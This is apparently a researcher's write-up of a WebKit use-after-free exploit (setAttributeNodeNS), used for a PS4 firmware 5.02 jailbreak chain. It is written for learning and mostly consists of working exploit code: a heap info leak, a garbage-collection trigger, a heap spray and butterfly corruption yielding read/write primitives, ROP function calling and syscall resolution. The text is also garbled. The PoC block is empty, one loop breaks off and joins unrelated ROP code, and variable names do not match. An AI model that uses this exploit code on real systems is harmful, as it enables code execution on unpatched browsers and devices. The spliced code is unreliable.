**Note: While I exploited this bug on the PS4, this bug can also be exploited on other unpatched platforms. As such, I've published it under the "WebKit" folder and not the "PS4" folder.** # Introduction In around October of 2017, a few others as well as myself were looking through project zer0 bugs to see which ones could work on the latest FW of the PlayStation 4, which at the time was 5.00. I stumbled across the setAttributeNodeNS bug, and happily (with a majority of the work being done by qwertyoruiopz), we were able to achieve userland code execution in WebKit. While we were writing this exploit, qwerty helped me understand what was happening, and I ended up learning a lot from it, so I hope through this write-up, those interested could learn about WebKit internals - I've tried to ensure the write-up is for the most part beginner friendly. The exploit was patched in firmware 5.03. This write-up will only cover the userland aspect of the 4.55 full jailbreak chain, however you can find the kernel part here (to be released at a later date). # The PoC (proof-of-concept) The proof of concept for this exploit can be found on the [Chromium bug page](https://bugs.chromium.org/p/project-zero/issues/detail?id=1187). This bug was reported by lokihardt from Google Project Zer0. The bug can be found in `Element::setAttributeNodeNS()`. Let's take a look at a code snippet: ```cpp ExceptionOr> Element::setAttributeNodeNS(Attr& attrNode) { ... setAttributeInternal(index, attrNode.qualifiedName(), attrNode.value(), NotInSynchronizationOfLazyAttribute); attrNode.attachToElement(*this); treeScope().adoptIfNeeded(attrNode); ensureAttrNodeListForElement(*this).append(&attrNode); return WTFMove(oldAttrNode); } ``` Notice that the function calls `setAttributeInternal()` before inserting / updating a new attribute. As stated by the bug description, `setAttributeNodeNS()` can be called again through `setAttributeInternal()`. If this happens, two attribute nodes (Attr) will have the same owner element. If one were to be free()'d, the other attribute will hold a stale reference, thus allowing a use-after-free (UAF) scenario. Let's take a look at the PoC: ```html ``` In environments where the bug is unpatched, alert() will report an instance of the iframe object. In patched environments, the code will fail and hit an exception, because `d` should be `undefined`. I am happy to say that alert() will report an instance of the iframe object up to and including firmware 5.02. ## Important Note about WebKit Heap WebKit sections itas heap into arenas. The purpose of these arenas is not only to organize objects in their own pools, but to also mitigate heap exploits by controlling what type of objects you can corrupt in your immediate arena. The object we have a use-after-free for is an iframe object, which is `fastmalloc()`'d. This will be in the WebCore arena. WebCore objects are not too interesting for primitives, our eventual goal is to obtain a read/write primitive via a misaligned uint32array. We need to move from WebCore heap corruption to JSCore heap corruption. Keep this in mind for the rest of the exploit, as it is a vital to itas success. # Stage 1: Information Leak ## Introduction We need to leak a pointer to a JSValue in the JSCore heap that we want to corrupt. Unfortunately our leak is also a WebCore leak as the backing memory is `fastmalloc()`ad, so we need an object that is both `fastmalloc()`ad and contains pointers into the JSCore heap. MarkedArgumentBuffer is a great target. For more information on MarkedArgumentBuffer and how it can be used in exploits, see the [Pegasus write-up](https://info.lookout.com/rs/051-ESQ-475/images/pegasus-exploits-technical-details.pdf). ## Vector: postMessage() We can create an "ImageData" object (see [ImageData](https://developer.mozilla.org/en-US/docs/Web/API/ImageData)) and call `postMessage()` with a null message and no origin preference, and use our instance of the ImageData object as the transfer. By then pushing the state of the object into the session history, the backing memory for the `ImageData.data` object is allocated but not initialized. We can actually access this backing memory via` history.state.data.buffer` as a Uint32array. This means not only can we access uninitialized heap memory, we can control the size of the leak. We can setup the heap to leak a JSObject. Creating our own JSObject is very trivial, and can be done like so: ```javascript var tgt = {a:0,b:0,c:0,d:0}; ``` We can then spray the heap with our JSObject of `tgt` and leak it using the ImageData object's backing memory, `.data.buffer`. ```javascript var y = new ImageData(1, 0x4000); postMessage("", "*", [y.data.buffer]); var props = {}; for (var i=0; i<0x4000/(2); ) { props[i++] = {value:0x42424242}; props[i++] = {value:tgt}; } // ... history.pushState(y,""); Object.defineProperties({}, props); var leak = new Uint32Array(history.state.data.buffer); ``` ## Leaking a JSValue Our goal of this leak is to be able to leak a JSValue, but how can we do this? The answer is JSObjects. We can easily create one, and not only will this object allow us to leak JSValues, but we will also use it in a later stage to obtain a read/write primitive (more on that later). For now, let's look at how JSObjects look in memory (for more information on JSObject internals, see the ["Attacking Javascript Engines"](http://phrack.org/papers/attacking_javascript_engines.html) paper by Saelo@Phrack). I've written it as a C structure in pseudocode and provided the offsets as comments, in reality it's a bit more complex, but the concept remains. ```c struct JSObject { JSCell cell; // 0x00 Butterfly *butterfly; // 0x08 JSValue *prop_slot_1; // 0x10 JSValue *prop_slot_2; // 0x18 JSValue *prop_slot_3; // 0x20 JSValue *prop_slot_4; // 0x28 } ``` For this write-up, we will mostly ignore the "cell" and "butterfly" members. Just know that "cell" contains the object's type, structure ID, and some flags. The butterfly pointer will be null, because since we are only using 4 properties, a butterfly is not needed. Notice how we have access to JSValue pointers in offsets 0x10 - 0x30? We're going to use slot 2 (labelled 'b' in the target object) to leak JSValues. As a reminder, here's a definition of target: ```javascript var tgt = {a:0,b:0,c:0,d:0}; ``` To leak the JSValue from 'b', we will need to put our target object inside some other object that we can spray on the heap, such as a MarkedArgumentBuffer. If we set some properties of the object to our target JSObject `tgt`, we will be able to leak it in memory, as it will be inlined. If we add less than 8 properties, the object will be allocated on the stack (this is for performance reasons). We need our object to be in the heap. Additionally, larger objects are used less and are therefore more reliable, so we will add `0x4000` properties to our MarkedArgumentBuffer object. In our spray, we will set every second element to `0x42424242` (aBBBBa) and every other element to `tgt`. This will allow us to both ensure the integrity of the leak (by checking against `0x42424242`) and allow us to extract information out of our JSObject. The exploit further verifies that weare leaking the correct object by checking the JSObject's properties against known values. ```javascript for (var i=0; i < leak.length - 6; i++) { if (leak[i] == 0x42424242 && leak[i+1] == 0xffff0000 && leak[i+2] == 0 && leak[i+3] == 0 && leak[i+4] == 0 && leak[i+5] == 0 && leak[i+6] == 14 && leak[i+7] == 0 && leak[i+10] == 0 && leak[i+11] == 0 && leak[i+12] == 0 && leak[i+13] == 0 && leak[i+14] == 14 && leak[i+15] == 0) { foundidx = i; foundleak = leak; break; } } ``` Keep in mind `leak` is a Uint32array, meaning each element is 32-bits wide. Index 0 and 1 contain the JSValue of our `0x42424242` immediate value (index 1 is set to `0xFFFF0000` because this is the upper prefix for a 32-bit integer). Also keep in mind we're in Little Endian, which is why element `0` contains the lower 32-bits of the JSValue and element 1 the upper 32-bits. Notice that we can leak the JSValue of the second property ('b') of the JSObject at index 8 and 9 (6 indexes * 4 bytes = 0x18 (prop_slot_2) + 0x08 for the `0x42424242` JSValue). ```javascript var firstLeak = Array.prototype.slice.call(foundLeak, foundIndex, foundIndex + 0x40); var leakval = new int64(firstleak[8], firstleak[9]); leakval.toString(); ``` # Stage 2: Trigger UaF ## Introduction Because we maintain a double reference to the iframe, when it is free()'d by garbage collection, one reference will be cleared however the other will not be. This allows us to maintain a stale reference. This is important, because we can corrupt the backing JSObject of the iframe object by spraying the heap, and control the behavior of how the stale object is used. For instance, we can control the size of the buffer, the pointer to the backing memory (called "vector"), and the butterfly. ## Memory Pressure Now that we've leaked a JSValue, we're going to trigger the free() on our iframe by applying memory pressure to force garbage collection by calling `dgc()`. `dgc()` is defined as the following: ```javascript var dgc = function() { for (var i = 0; i < 0x100; i++) { new ArrayBuffer(0x100000); } } f.name = "lol"; f.setAttributeNodeNS(src); f.remove(); f = null; src = null; nogc.length=0; dgc(); ``` # Stage 3: Heap Spray ## Introduction The JSObject representing our iframe is free, as well as it's butterfly. Again, iframe objects are `fastmalloc()`'d, meaning our spray vector must also be `fastmalloc()`'d. Our old friend ImageData does the trick. We cannot allocate Uint32Array's of size 0x90 and have it `fastmalloc()`'d, but we need to access the data via a Uint32Array. We can get around this by first spraying a bunch of ImageData objects on the heap (Uint8Array) then converting to Uint32Arrays after. On the heap, iframe objects are of size 0x90 on the PS4. We can control the size of the MarkedArgumentBuffer we spray via the ImageData "width" and "height" parameters. Since each value is represented by 32-bits (or 4 bytes) and ImageData is backed by a Uint8Array, we divide the height by 4. ```javascript for (var i=0; i < 0x10000; i++) { objs[i] = new ImageData(1,0x90/4); } for (var i=0; i < 0x10000; i++) { objs[i] = new Uint32Array(objs[i].data.buffer); } ``` ## Memory Corruption Now we've sprayed the heap with a bunch of objects, but we haven't really corrupted memory yet. Our next task is to loop through all the objects we created, and set their butterfly values to `leakval + 0x1C`. This will allow us to smash the butterfly easily via the 'b' property of the target. Notice we're overwriting indexes 2 and 3 as each index is 32-bits wide, so index 2 is offset 0x8 (which is the lower 32-bits of the butterfly) and index 3 is offset `0xC` (which is the upper 32-bits of the butterfly). ```javascript for (var i=0; i back to the trap life chain.count = ocnt; p.write8(stackPointer, (gadgets["pop rsp"])); // pop rsp p.write8(stackPointer.add32(8), chain.stackBase); // -> rop frame }}}; ``` ## Function Calling Earlier we established a function called `fcall` in our ROP chain primitive to pop values into registers defined by the AMD64 ABI and push the function pointer on the stack to initiate a call. We will now create a wrapper that calls this function, but also additionally allows us to retrieve the return value. As defined in the ABI, returned values are always stored in the `rax` register, so by moving it into a memory address in our address space, we can easily retrieve it using our read primitive. ```javascript p.fcall = function(rip, rdi, rsi, rdx, rcx, r8, r9) { chain.clear(); chain.notimes = this.next_notime; this.next_notime = 1; chain.fcall(rip, rdi, rsi, rdx, rcx, r8, r9); chain.push(window.gadgets["pop rdi"]); // pop rdi chain.push(chain.stackBase.add32(0x3ff8)); // where chain.push(window.gadgets["mov [rdi], rax"]); // rdi = rax chain.push(window.gadgets["pop rax"]); // pop rax chain.push(p.leakval(0x41414242)); // where if (chain.run().low != 0x41414242) throw new Error("unexpected rop behaviour"); return p.read8(chain.stackBase.add32(0x3ff8)); } ``` ## System Calls As mentioned earlier, we cannot directly issue `syscall` instructions anymore in our ROP chains. We can however, call the wrappers provided to us to access them via the `libkernel_web.sprx` module. We can dynamically resolve syscall wrappers by reading the bytes to see if they match the structure of a syscall wrapper. This is far better compared to the past when we would have to reverse the libkernel module and add offsets manually for the system calls we needed, now we just need to keep a list of the syscall names if we want to call them by name. This list is kept in `syscalls.js`. ```javascript // Dynamically resolve syscall wrappers from libkernel var kview = new Uint8Array(0x1000); var kstr = p.leakval(kview).add32(0x10); var orig_kview_buf = p.read8(kstr); p.write8(kstr, window.moduleBaseLibKernel); p.write4(kstr.add32(8), 0x40000); var countbytes; for (var i=0; i < 0x40000; i++) { if (kview[i] == 0x72 && kview[i+1] == 0x64 && kview[i+2] == 0x6c && kview[i+3] == 0x6f && kview[i+4] == 0x63) { countbytes = i; break; } } p.write4(kstr.add32(8), countbytes + 32); var dview32 = new Uint32Array(1); var dview8 = new Uint8Array(dview32.buffer); for (var i=0; i < countbytes; i++) { if (kview[i] == 0x48 && kview[i+1] == 0xc7 && kview[i+2] == 0xc0 && kview[i+7] == 0x49 && kview[i+8] == 0x89 && kview[i+9] == 0xca && kview[i+10] == 0x0f && kview[i+11] == 0x05) { dview8[0] = kview[i+3]; dview8[1] = kview[i+4]; dview8[2] = kview[i+5]; dview8[3] = kview[i+6]; var syscallno = dview32[0]; window.syscalls[syscallno] = window.moduleBaseLibKernel.add32(i); } } ``` Our system call primitive wrapper will simply locate the offset for a given system call by the `window.syscalls` array and issue an `fcall` to it. ```javascript p.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9) { if (typeof sysc == "string") { sysc = window.syscallnames[sysc]; } if (typeof sysc != "number") { throw new Error("invalid syscall"); } var off = window.syscalls[sysc]; if (off == undefined) { throw new Error("invalid syscall"); } return p.fcall(off, rdi, rsi, rdx, rcx, r8, r9); } ``` # Conclusion For a seasoned webkit attacker, this bug is trivial to exploit. For non-seasoned ones such as myself however, working with WebKit to leverage a read/write primitive from WebCore heap corruption can be confusing and challenging. I hope through this write-up that it can help other researchers new to webkit to understand a bit of the magic that happens behind webkit exploitation, as without understanding fundamental data structures such as JSObjects and JSValues, it can be difficult to make sense of what's happening. This is why I focused the core of the write-up on going from heap corruption to obtaining a read/write primitive, and how type confusion with internal objects can be used to achieve it. In the next section (yet to be published), we will cover the kernel exploit portion of the 4.55 jailbreak chain. While this WebKit exploit will work on 5.02 and lower, the kernel exploit will only work on firmware 4.55 and lower. # Credits [qwertyoruiopz](https://twitter.com/qwertyoruiopz) Lokihardt # References [Chromium Bug #169685](https://bugs.chromium.org/p/project-zero/issues/detail?id=1187) reported by lokihardt@google.com [Attacking Javascript Engines](http://phrack.org/papers/attacking_javascript_engines.html) by sealo [Technical Analysis of the Pegasus Exploits on iOS](https://info.lookout.com/rs/051-ESQ-475/images/pegasus-exploits-technical-details.pdf) by Lookout